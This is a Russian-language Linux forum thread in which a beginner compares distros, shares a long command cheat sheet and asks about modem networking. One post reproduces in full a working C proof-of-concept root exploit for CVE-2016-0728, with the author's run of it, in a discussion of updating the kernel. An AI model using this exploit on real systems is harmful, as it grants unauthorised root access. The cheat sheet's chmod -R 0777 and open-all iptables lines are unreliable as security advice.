Да я так и понял... хотя сейчас сижу через CMD gcc гоняю. Конечно CMD слабоват (очень мягко сказано) по сравнению с Shell-ом Linux. Но я продолжаю находить команды для CMD о которые я раньше не знал. Ну допустим... wmic baseboard get Manufacturer wmic baseboard get product Это просто как пример. MS приходится пытать что партизана, а linux в этом плане дружелюбнее.
Собственно поставил я себе Магею. Так же как и Роса, прожорливая, долго ставилась, и почему то сеть ей не раздалась. Магея сложнее в освоение. Критиковать её пока не имею права. Если б стоял ограниченный выбор Роса или Магея, выбрал бы Магея. Магея это продолжения Мандрива, Мандрака... просто Русские пацаны перекупили дистр и начали пилить Роса. Но и те от дистра не оказались и продолжили свои дела в Магея. Образовав очередную вилку. Можно уже подвести небольшой итог. Самая добрая точка входа в мир linux это xubuntu. Абсолютный факт, константа. Все маны что подходят к ubuntu так же подойдут ко всем вилкам от ubuntu. Будь то Кали, Ксибунту и тд. Сейчас смотрю на Арч Линукс, но смущает вес дистра. Как мы уже знаем. Red hat - юзает сервис гугл. Freebsd (Кстати это Unix) - Яндекс. (Кстати их любимый язык Си и Питон.)
Нашлась ещё одна хорошая точка входа в мир Linux И ей оказался linux Mint. Spoiler: Тык Собственно это тот же Xubuntu только одомашненный. Всё привычно и понятно. Дистр подойдёт как взрослым людям которые, ну не знаю, учатся роботе с ОС по конспектам. Я когда маме объяснял как на той же Винде открыть папку с фильмами, и запустить один из них. Она всю последовательность действий конспектировала. Теперь уже она сама регается на говно фермах, заказывает себе через сеть всякую хуйню, и всё у нее не плохо. Понятно да что, ваши методы обучения только ваши. Главное конечный результат. Так дистр подойдет людям 90-00х годов выделки. Особенно тем кому не нужно не чего ковырять, хакать и крякать, а просто работать с софтом, которого там хоть жопай жуй. На скрине дистр linux Mint 17.2 Cinamon - Я это подчеркнул потому что Mint есть не только у Ubuntu как я понял.
Команды для терминала. Приведенные команды будут одинаково верно работать во многих дистрибутивах, таких как: ASPLinux, Debian, Gentoo, Ubuntu, ALTLinux и во многих других. Spoiler: Тыц Code: I. Общие команды Linux. _______________________________________ # uname -a *// Показать версию ядра Linux; # lsb_release -a *// На экран выводиться информация о версии операционной системы Debian и оснваных на ней дистрибутивах; # cat /etc/SuSE-release *// На экран выводится информация о версии операционной системы SuSE; # man hier *// Описание иерархии файловой системы (для чего нужна каждая директория в linux); # clear *// Очищение экрана терминала; # wall Привет *// Отправляет на терминалы других пользователей сообщение "Привет"; # date *// Показывает текущую дату и время; # cal -3 *// Показывает в удобной форме предыдущий, текущий и последующий месяц (типо календарь); # uptime *// Показать текущее время и работу системы без перезагрузки и выключения; # hostname *// Показать сетевое имя компьютера; # whois linux.org *// Показать информацию о доменом имени linux.org; # export http_proxy=http://your.proxy:port *// Изменить переменной окружения http_proxy, для использования интернета через proxy-сервер; # wget http://itshaman.ru/images/logo_white.png *// Скачать файл http://itshaman.ru/images/logo_white.png в текущую папку; # wget --convert-links -r http://www.linux.org/ *// Копирование сайта целиком и конвертирование ссылок для автономной работы. Копирование происходит на 5 уровней в глубину; # pppconfig *// Создание и настройка Dial-Up соединения для выхода в Интернет по модему; # pppoeconf *// Создание и настройка выхода в Интернет через ADSL-модем; # !! *// Выполнить последнюю команду; # history | tail -50 *// Показать последние 50 набранных команд; # exit *// Завершить сеанс текущего пользователя; # passwd *// Меняет пароль текущего пользователя; # shutdown -h now *// Выход из Linux; # poweroff *// Выход из Linux; # reboot *// Перезагрузка системы; # last reboot *// Cтатистика перезагрузок; # winecfg *// Настройка Wine - НЕэмулятор WinAPI; # host itshaman.ru *// Показывает IP-адрес введенного сайта; II. Команды Linux для работы с файловыми директориями. ____________________________________________________ # pwd *// Выводит текущий путь; # ls *// Выводит список файлов и каталогов по порядку; # ls -laX *// Выводит форматированный список всех файлов и директорий, включая скрытые; # cd *// Переход в домашнюю директорию; # cd /home *// Переход в директорию /home; # touch /home/primer2 *// Создание пустого файла /home/primer2; # cat /home/primer2 *// Показать содержимое файла /home/primer2; # tail /var/log/messages *// Выводит конец файла. Удобно при работе с логами и большими файлами; # nano /home/primer2 *// Редактирование файла /home/primer2; # gedit /home/primer2 *// Вторая команда Linux для редактирования файла; # echo "Последняя строчка" | sudo tee -a /home/primer2 *// Добавление к концу файла "Последняя строчка" в файл /home/primer2; # cp /home/Mut@NT/primer.txt /home/primer.txt *// Копирует /home/Mut@NT/primer.tx в home/primer.txt; # ln -s /home/Mut@NT/primer.txt /home/primer *// Cоздает символическую ссылку /home/primer к файлу /home/Mut@NT/primer.txt; # mkdir /home/Mut@NT/shaman *// Создание директории с именем shaman; # rmdir /home/Mut@NT/shaman *// Удаление директории с именем shaman; # rm -rf /home/Mut@NT/shaman *// Удаление директории с вложенными фалами; # cp -la /dir1 /dir2 *// Копирование директорий; # mv /dir1 /dir2 *// Переименование директории; # du -sh /home/Mut@NT/ *// Выводит на экран размер заданной директории. Можно использовать для определения размера файлов; # locate primer *// Поиск всех файлов с именем primer; # [sudo] chmod 0777 /home/ *// Изменение прав доступа к директории только для /home. 0777 – разрешение на чтение/запись/исполнение для всех групп; # [sudo] chmod -R 0777 /home/ *// Рекурсивное изменение прав доступа к директории /home. 777 – разрешение на чтение/запись/исполнение для всех групп. Все вложенные директории и файлы будут иметь права 0777; # [sudo] chown Mut@NT:ITShaman /home/primer.txt *// Изменение владельца и группы только для файла /home/primer.txt; # [sudo] chown -R Mut@NT /home/ *// Изменение владельца для всего содержимого директории /home; III. Работа с архивами. ____________________ # tar cf primer.tar /home/primer.txt *// Создать tar-архив с именем primer.tar содержащий /home/primer.txt; # tar czf primer.tar.gz /home/primer.txt *// Cоздать tar-архив с сжатием Gzip по имени primer.tar.gz; # tar cjf primer.tar.bz2 /home/primer.txt *// Cоздать tar-архив с сжатием Bzip2 по имени primer.tar.bz; # tar xf primer.tar *// Распаковать архив primer.tar в текущую папку; # tar xzf primer.tar.gz *// Распаковать tar-архив с Gzip; # tar xjf primer.tar.bz *// Распаковать tar-архив с Bzip2; IV. Команды Linux: установка программ. ____________________________________ RPM - дистрибутивы # rpm -qa *// Показать список установленных пакетов RPM в системе; # [sudo] rpm -i pkgname.rpm *// Установка RPM пакета pkgname.rpm; # [sudo] rpm -e pkgname *// Удаление RPM пакета pkgname; # [sudo] dpkg -i *.rpm *// Установка всех пакетов в директории; DEB - дистрибутивы # dpkg -l |more *// Показать список установленных пакетов DEB в системе; # apt-cache search имя пакета *// Ищет в индексах наличее доступного пакета и выводит на экран краткую информацию о нужном пакете (очень полезная команда для поиска и установки программ из консоли); # apt-cache showpkg имя пакета *// Полная информация о указанном пакете; # [sudo] apt-get update *// Обновление списка доступных пакетов из Internet; # [sudo] apt-get upgrade *// Обновление доступной версии установленных пакетов в системе; # [sudo] apt-get install pkgname *// Установка DEB пакета pkgname; # [sudo] apt-get remove pkgname *// Удаление DEB пакета pkgname; # [sudo] dpkg -i *.deb *// Установка всех пакетов в директории; V. Команды Linux: мониторинг работы и просмотр логов. _____________________________________________________ # top *// Информация в реальном времени о загруженных процессах, потребление ОЗУ; # htop *// Более расширенная on line-статистика о загруженных процессах (разработчик http://htop.sourceforge.net); # dmesg *// Показывает log-файл загрузки ОС и нахождения новых устройств; # mpstat 1 *// Показывает расширенную статистику потребления ресурсов системы в процентах (для некоторых дистрибутивов необходима установка пакета sysstat); # vmstat 2 *// Показать расширенную статистику по использованию виртуальной памяти; # iostat 2 *// Показать расширенную статистику прерываний по устройствам; VI. Команды Linux: информация об устройствах. ____________________________________________ # lsdev *// информация об уже установленных устройствах (в некоторых дистрибутивах требует доставить пакет procinfo); # cat /proc/cpuinfo *// Показать полную информацию о модели процессора (частота, поддерживаемые инструкции и т.д.); # cat /proc/meminfo *// Показать расширенную информацию о занимаемой оперативной памяти (MemTotal, MemFree, Buffers, Cached, SwapCached,HighTotal, HighFree, LowTotal и т. д.); # grep SwapTotal /proc/meminfo *// Показать размер раздела выделенного под swap; # watch -n1 'cat /proc/interrupts' *// Показать информацию о прерываниях; # free -m *// Информация о используемой и свободной ОЗУ и Swap-файле (-m указывает, что отображать нужно в Мб); # lshal *// Показать список всех устройств и их параметров; # cat /proc/devices *// Показать все устройства в системе (названия взяты из директории /proc/devices); # lspci -tv *// Показать обнаруженные PCI-устройства; # lsusb -tv *// Показать обнаруженные USB-устройства; # [sudo] dmidecode *// Показать информацию о версии BIOS компьютера; # gtf 1024 768 75 *// Выводит строку ModeLine для Вашего монитора на параметрах экрана 1024x768x75Hz; VII. Команды Linux: жесткие диски и файловая система. ___________________________________________________ # fdisk -l *// Информация о всех подключенных жестких и сменных дисках; # [sudo] hdparm -I /dev/sda *// Полная информация о IDE/ATA жестких дисках; # smartctl -a /dev/sda1 *// Выводит SMART-информацию о разделе жесткого диска /dev/sda1 (необходима установка пакета smartmontools); # [sudo] blkid *// Выводит UUID всех доступных накопителей информации в системе; # [sudo] hdparm -tT /dev/sda *// Показывает производительность жесткого диска; # mount | column -t *// Показывает полную информацию о примонтированных устройсвах; # cat /proc/partitions *// Показывает только примонтированные разделы жесткого диска; # df *// Показывает свободное место на разделах; # [sudo] mount /dev/sda1 /mnt *// Монтирует раздел /dev/sda1 к точке монтирования /mnt; # [sudo] mount -t auto /dev/cdrom /mnt/cdrom *// Монтирует большинство CD-ROM`ов; # [sudo] mount /dev/hdc -t iso9660 -r /cdrom *// Монтирует IDE CD-ROM; # [sudo] mount /dev/scd0 -t iso9660 -r /cdrom *// Монтирует SCSI CD-ROM; # [sudo] mount -t ufs -o ufstype=ufs2,ro /dev/sda3 /mnt *// Монтирование FreeBSD разделов в Linux; # [sudo] mount -t smbfs -o username=vasja,password=pupkin //pup/Video *// Монтирование сетевых ресурсов (SMB); # [sudo] mount -t iso9660 -o loop /home/file.iso /home/iso *// Монтирование ISO-образов; # [sudo] mount /dev/sdb1 -t vfat -o rw /mnt *// Монтирование раздел с файловой системой FAT 16/32 (к примеру USB-накопитель) к точки монтирования /mnt с возможностью записи; # [sudo] umount /mnt *// Отмонтирует раздел от точки монтирования /mnt; VIII. Команды Linux: настройка сети. _________________________________ # ifconfig *// Показать параметры всех сетевых; # ifconfig eth0 *// Показать параметры сетевого интерфейса eth0; # [sudo] ethtool eth0 *// Показывает состояние сетевого интерфейса eth0 (для некоторых дистрибутивов требуется установка пакета ethtool). Команда ethtool применяется только для проводных подключений, не работает с беспроводными интерфейсами; # [sudo] ethtool -s eth0 speed 100 duplex full autoneg off *// Принудительно задать скорость сетевому интерфейсу 100Mbit и режим Full duplex и отключить автоматическое определение; # ifconfig eth0 192.168.50.254 netmask 255.255.255.0 *// Задать основной IP адрес сетевому интерфейсу eth0; # ip addr add 192.168.50.254/24 dev eth0 *// Задать основной IP адрес сетевому интерфейсу eth0; # ifconfig eth0:0 192.168.51.254 netmask 255.255.255.0 *// Задать дополнительный IP адрес сетевому интерфейсу eth0; # ip addr add 192.168.51.254/24 dev eth0 label eth0:1 *// Задать дополнительный IP адрес сетевому интерфейсу eth0; # [sudo] ifconfig eth0 up *// Запустить сетевой интерфейс eth0; # [sudo] ifconfig eth0 down *// Отключить сетевой интерфейс eth0; # ifconfig eth0 hw ether 00:01:02:03:04:05 *// Смена MAC адреса; # [sudo] /etc/init.d/dhcpd restart *// Перезагрузка DHCP клиента; # ping 192.168.0.2 *// Проверка сетевого соединения. Пингуется IP адрес 192.168.0.2 (пинговать можно по домену, например ya.ru); # route -n *// Выводит на экран таблицу маршрутизации; # netstat -rn *// Выводит на экран таблицу маршрутизации; # netstat -an | grep LISTEN *// Показывает список всех открытых портов; # lsof -i *// Показывает список всех открытых портов в сеть Internet; # [sudo] netstat -tup *// Активные соединения с интернетом; # socklist *// Показывает все открытые сокеты; # [sudo] netstat -anp --udp --tcp | grep LISTEN *// Список приложений, которые открывают порты; # [sudo] iptables -L -n -v *// Показывает статус firewall (статус iptables); # [sudo] iptables -P INPUT ACCEPT *// Открывает доступ ко всем портам; # [sudo] iptables -P FORWARD ACCEPT *// Открывает доступ ко всем портам; # [sudo] iptables -P OUTPUT ACCEPT *// Открывает доступ ко всем портам; # [sudo] iptables -X *// Удаляет все цепочки; # [sudo] iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE *// "Поднятие" NAT на интерфейсе eth0; # [sudo] iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 --dport 20022 -j DNAT --to 192.168.16.44:22 *// Перенаправление порта 20022, который использется для ssh; # [sudo] iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 --dport 993:995 -j DNAT --to 192.168.16.254:993-995 *// Перенаправление диапазона портов 993-995; # iptables -L -t nat *// Проверка статуса NAT; IX. Команды Linux: создание и запись ISO образов. ________________________________________________ # cdrecord -scanbus *// Показывает все доступные CD-ROM; # dd if=/dev/hdc of=/tmp/mycd.iso bs=2048 conv=notrunc *//Создание ISO образов с диска CD-ROM; X. Команды Linux: пользователи и группы. _________________________________________ # id *// Показывает сводную информацию по текущему пользователю (логин, UID, GID, группы); # finger Mut@NT *// Показать информацию о пользователе Mut@NT; # last *// Показывает последних зарегистрированных пользователей; # who *// Показывает имя текущего пользователя и время входа; # useradd Mut@NT *// Добавление нового пользователя Mut@NT; # groupadd ITShaman *// Добавление группы ITShaman; # usermod -a -G ITShaman Mut@NT *// Добавляет пользователя Mut@NT в группу ITShaman (для Debian-подобных дистрибутивов); groupmod -A Mut@NT ITShaman *// Добавляет пользователя Mut@NT в группу ITShaman (SuSE); # userdel Mut@NT *// Удаление пользователя Mut@NT; # groupdel ITShaman *// Удаление группы ITShaman; XI. Команды Linux: работа с процессами. Все запущенные процессы имеют уникальные номера - PID. _______________________________________________________________________________________________ # ps axjf *// Показать все загруженные процессы; # pgrep -l sshd *// Показать PID определенного процесса – sshd; # echo $$ *// Показать PID вашей оболочки; # fuser -va 22/tcp *// Показать PID процесса использующий порт 22; # fuser -va /home *// Показывает PID процесса имеющего доступ к /home; # lsof /home *// Показывает список процессы, которые используют /home; # killall 0 httpd *// Выводит на экран текущее состояние процесса httpd; # kil 4712 *// «Убить» процесс с PID 4712; # [sudo] killall TERM 4712 *// Посылает процессу с PID`ом 4712 сигнал TERM - завершить процесс; # [sudo] killall HUP httpd *// Посылает процессу с именем httpd сигнал HUP - остановить процесс; # [sudo] fuser -k -TERM -m /home *// “Убить” все процессы имеющие доступ к /home; Важные сигналы посылаемые процессам: 1 - HUP остановить процесс 2 - INT прервать процесс 3 - QUIT выйти 9 - KILL “убить” процесс 15 - TERM завершить процесс XII. Команды Linux: Runlevels. ______________________________ Загрузка каждой службы осуществляется скриптом. Все скрипты лежат в /etc/init.d. Runlevels – это целое число, которое определяет “уровень загрузки”. “Уровни загрузки” бывают: Runlevels=0 Выключение компьютера; Runlevels=1 режим Single-User; Runlevels=2 Текстовый режим без поддержки сети; Runlevels=3 Текстовый режим с поддержкой сети; Runlevels=4; Runlevels=5 Графический режим; Runlevels=6 Перезагрузка компьютера. # [sudo] sysv-rc-conf *//Очень удобная настройка Runlevels (необходима установка пакета sysv-rc-conf); # chkconfig --list *// Показывает список всех скриптов с соответствующими им Runlevels; # chkconfig --list udev *// Показывает разрешенные Runlevels только отдельного скрипта, в нашем случае udev; # [sudo] update-rc.d udev defaults *// Выставление скрипту udev значений Runlevels по-умолчанию (для Debian-подобных дистрибутивов); # [sudo] chkconfig udev --level 35 on *// Добавление скрипту udev Runlevels 3 и 5; # [sudo] update-rc.d udev start 20 2 3 4 5 . stop 20 0 1 6 *// Изменить параметры для скрипта udev (для Debian-подобных дистрибутивов); # [sudo] chkconfig udev off *// Отключение у udev всех Runlevels; # [sudo] update-rc.d -f udev remove *// Отключение у udev всех Runlevel (для Debian-подобных дистрибутивов); XIII. Команды Linux: Работа с ядром и модулями. ____________________________________________ # lsmod *// Список всех модулей загруженных в ядро; # [sudo] modprobe isdn *// Загрузка модуля на примере isdn; # make *// Создание сжатого образа ядра системы; # make modules *// Компиляция модуля; # [sudo] make modules_install *// Установка модуля; # [sudo] make install *// Установка в ядро системы; XIV. Команды Linux: работа с LiveCD. ___________________________________ # [sudo] chroot /mnt *// смена root-окружения на /mnt. После этого коневой раздел, примонтировнный к /mnt, будет использоваться как родной; XV. Команды Linux: конвертирование различной информации. ________________________________________________________ # iconv -l *// Выводит список всех доступных кодировок; # iconv -f cp1251 -t UTF-8 file_cp1251.txt -o file_utf8.txt *// Смена кодировки. Был файл file_cp1251.txt с кодировкой cp1251, а в итоге получился файл file_utf8.txt с кодировкой utf8; # convert name.pdf name-%03d.jpg *// Конвертируется name.pdf в постраничные JPEG изображения (в некоторых дистрибутивах необходимо установить пакет imagemagick); # convert *.jpeg name.pdf *// Конвертируются JPEG изображения в PDF (в некоторых дистрибутивах необходимо установить пакет imagemagick); # cdparanoia -B *// Копирование треков с AudioCD в текущую директорию wav-файлами; # lame -b 256 in.wav out.mp3 *// Конвертирование wav-файлов в mp3 с качеством 256 kb/s; # oggenc in.wav -b 256 out.ogg *// Конвертирование wav-файлов в Ogg Vorbis с качеством 256 kb/s; XVI. Команды Linux: печать на принтере. ______________________________________ # export PRINTER=lbp2900 *// Выбор принтера по-умолчанию. В примере выбран принтер Canon LBP-2900; # lpr #2 name.txt *// Распечатать на принтере Canon LBP-2900 две копии файла name.txt; # lprm - *// Удаление всех задач с принтера по-умолчанию; I. Общие команды Linux. II. Команды Linux для работы с файловыми директориями. III. Работа с архивами. IV. Команды Linux: установка программ. V. Команды Linux: мониторинг работы и просмотр логов. VI. Команды Linux: информация об устройствах. VII. Команды Linux: жесткие диски и файловая система. VIII. Команды Linux: настройка сети. IX. Команды Linux: создание и запись ISO образов. X. Команды Linux: пользователи и группы. XI. Команды Linux: работа с процессами. XII. Команды Linux: Runlevels. XIII. Команды Linux: Работа с ядром и модулями. XIV. Команды Linux: работа с LiveCD. XV. Команды Linux: конвертирование различной информации. XVI. Команды Linux: печать на принтере. __________________________________ *// Комментарий; Важно: Команды чувствительны к регистру!!!
Я тебе открою секрет, команды в линукс одинаковы в большинстве случаев). Почему в большинстве? Да просто вся разница в способах установки пакетов.
почитай "linux from scratch", а лучше сделать попытку собрать. спустя время повторить ее ... п.с. хотябы узнаешь почему большинство команд одинаковые
я где то спрашивал твоего совета? вроде нет! есть свое имхо ? прошу! не думаю , что узнаю ,что то новое.
Продолжаю изучать Xubuntu. Заметил такую особенность. Пока не ясно с чем это связано. Суть. При первом подключении usb модема, автораном вылетает приглашения задать настройки девайсу. Выбрать оператора, и тд. Такие сети как Мегогон и МТС ставил по дефолту без проблем. Интернет раздавался сразу же по окончании настройки. После ребута ОС сеть определяется а Инет не раздается. Приходится немного подрочится с пере - подключениями, и на раз третий всё стыкуется нормально. Возможно я просто тороплюсь открывая браузер сразу после конекта, и что то не успевает прогрузится или подключится. На другой машине была точно такая же ситуация. Так вот. Вот что, ещё хочу поинтересоваться у про. На Windows после установки того же конект менеджера в системе появляется побочный процесс ouc.exe если это для кого то открытие то советую найти его обычным поисковиком ОС и выпилить предварительно убив его в диспетчере задач. Так вот... в процессах Линукса я ещё не силен. И хотел бы узнать какими средствами искать побочные процессы? Может где есть ресурс на эту тему? Буду рад.
Инет в linux можно настроить как минимум тремя разными (и конфликтующими друг с другом) способами, в зависимости от железа компа/провайдеров/дистрибутива. Какие сервисы управляют настройкой сети в Xubuntu сейчас - dhcpcd, nm - network-manager или другое? Вот вопрос, с которого и начинается работа над ошибками. Эти сервисы показываются в htop, нетрудно догадаться по названиям процессов. > После ребута ОС сеть определяется а Инет не раздается. После "мягкого/hot" ребута Windows->Linux и наоборот, роутер изменяет локальный адрес подключенного компа на одну единицу. Те, рутер задал компу при подключении Windows 192.168.1.2, при последующем подключении с Linux - станет 192.168.1.3. Это наглядно видно в настройках рутера, когда один и тот же комп имеет разные имена, в зависимости от используемой OS. Последствия этого - есть сеть на компе, но перестает работать проброс портов p2p и раздача инета.
Всем привет! Я продолжаю залипать в Xubuntu. И на повестке дня Core. Журнал ][акер опубликовал такую новость. В коде ядра Linux обнаружена опасная уязвимость CVE-2016-0728. Баг существует с 2012 года, и актуален для 32 и 64-битных систем и версий ядра начиная с 3.8 и заканчивая 4.5. Новость https://xakep.ru/2016/01/20/linux-keyring-reference-leak По не проверенным источникам есть инфа что это зло давно уже пофиксено. uname -r отобразить используемую версию ядра Сам баг - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-0728 Exploit - https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f Читаем коменты возможно есть бага. ___________________ cve_2016_0728 exploit Spoiler: Тыц Code: /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */ /* $ ./cve_2016_072 PP_KEY */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <keyutils.h> #include <unistd.h> #include <time.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/msg.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; #define STRUCT_LEN (0xb8 - 0x30) #define COMMIT_CREDS_ADDR (0xffffffff81094250) #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550) struct key_type { char * name; size_t datalen; void * vet_description; void * preparse; void * free_preparse; void * instantiate; void * update; void * match_preparse; void * match_free; void * revoke; void * destroy; }; void userspace_revoke(void * key) { commit_creds(prepare_kernel_cred(0)); } int main(int argc, const char *argv[]) { const char *keyring_name; size_t i = 0; unsigned long int l = 0x100000000/2; key_serial_t serial = -1; pid_t pid = -1; struct key_type * my_key_type = NULL; struct { long mtype; char mtext[STRUCT_LEN]; } msg = {0x4141414141414141, {0}}; int msqid; if (argc != 2) { puts("usage: ./keys <key_name>"); return 1; } printf("uid=%d, euid=%d\n", getuid(), geteuid()); commit_creds = (_commit_creds) COMMIT_CREDS_ADDR; prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR; my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke; memset(msg.mtext, 'A', sizeof(msg.mtext)); // key->uid *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ //key->perm *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; //key->type *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } keyring_name = argv[1]; /* Set the new session keyring before we start */ serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { perror("keyctl"); return -1; } puts("Increfing..."); for (i = 1; i < 0xfffffffd; i++) { if (i == (0xffffffff - l)) { l = l/2; sleep(5); } if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("keyctl"); return -1; } } sleep(5); /* here we are going to leak the last references to overflow */ for (i=0; i<5; ++i) { if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("keyctl"); return -1; } } puts("finished increfing"); puts("forking..."); /* allocate msg struct in the kernel rewriting the freed keyring object */ for (i=0; i<64; i++) { pid = fork(); if (pid == -1) { perror("fork"); return -1; } if (pid == 0) { sleep(2); if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("msgsnd"); exit(1); } } sleep(-1); exit(1); } } puts("finished forking"); sleep(5); /* call userspace_revoke from kernel */ puts("caling revoke..."); if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { perror("keyctl_revoke"); } printf("uid=%d, euid=%d\n", getuid(), geteuid()); execl("/bin/sh", "/bin/sh", NULL); return 0; } _______________________________ У меня версия Core 4.2.0-23-generic Из этого события появляется вопрос к опытным людям. Как обновить ядро? Или как вы избавились или будете избавляться от этого случая. ЗЫ. Как вариант не ставить libkeyutils-dev ____________________________________________________ Блин меня просто засыпали советами... А тема всё ещё в премодерации. К прочтению по теме - http://www.ubuntu.com/usn/usn-2870-2/
Лично у меня прогресса пока нет. ckap@ckap-G31M-ES2L:~/dos$ ./cve_2016_0728 PP1 uid=1000, euid=1000 Increfing... ---> висит уже часа пол. И я успел получить ответы на главные вопросы. 4.2. - версия ядра согласно "ванильной" нумерации, то есть от авторов 23 - индекс уже от Каноникал Обновить ядро можно вместе со всем остальным: sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade "Ну и напоследок: если ты внимательно вчитаешься, то речь идет о взломе при физическом доступе к твоей машине или включеном тобою удаленном доступе, то есть фактической опасности для тебя не существует."